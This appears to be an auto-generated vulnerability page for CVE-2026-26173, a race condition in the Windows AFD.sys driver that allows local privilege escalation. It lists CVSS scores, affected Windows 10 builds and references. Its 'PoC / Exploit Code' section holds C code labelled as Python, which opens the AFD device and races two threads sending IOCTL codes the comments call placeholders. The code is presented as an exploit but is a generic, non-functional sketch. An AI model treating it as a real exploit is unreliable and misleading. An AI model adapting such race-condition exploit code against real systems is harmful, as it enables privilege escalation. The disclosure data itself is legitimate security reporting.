CVE-2026-26173

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Windows (具体受影响版本请参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>

// Conceptual PoC for Race Condition in AFD.sys
// This is a simplified example to demonstrate the threading mechanism.

HANDLE hDevice;

// Thread 1: Trigger the vulnerable check operation
DWORD WINAPI TriggerVulnCheck(LPVOID lpParam) {
    DWORD bytesReturned;
    // Placeholder IOCTL for the vulnerable operation
    DeviceIoControl(hDevice, 0x00012000, NULL, 0, NULL, 0, &bytesReturned, NULL);
    return 0;
}

// Thread 2: Modify the shared resource state during the race window
DWORD WINAPI ModifyResourceState(LPVOID lpParam) {
    // This timing is critical and usually requires synchronization tweaking
    Sleep(1); // Attempt to hit the race window
    DWORD bytesReturned;
    // Placeholder IOCTL for the modification operation
    DeviceIoControl(hDevice, 0x00012004, NULL, 0, NULL, 0, &bytesReturned, NULL);
    return 0;
}

int main() {
    // Open handle to the AFD driver
    hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("Spawning threads to trigger race condition...\n");

    // Create multiple threads to increase race probability
    HANDLE threads[10];
    for (int i = 0; i < 5; i++) {
        threads[i*2] = CreateThread(NULL, 0, TriggerVulnCheck, NULL, 0, NULL);
        threads[i*2+1] = CreateThread(NULL, 0, ModifyResourceState, NULL, 0, NULL);
    }

    // Wait for threads to finish
    WaitForMultipleObjects(10, threads, TRUE, INFINITE);
    printf("Exploit attempt finished.\n");

    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-26173
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-26173
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-26173/
[4] VulDB https://vuldb.com/cve/CVE-2026-26173
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173

Raw JSON Data

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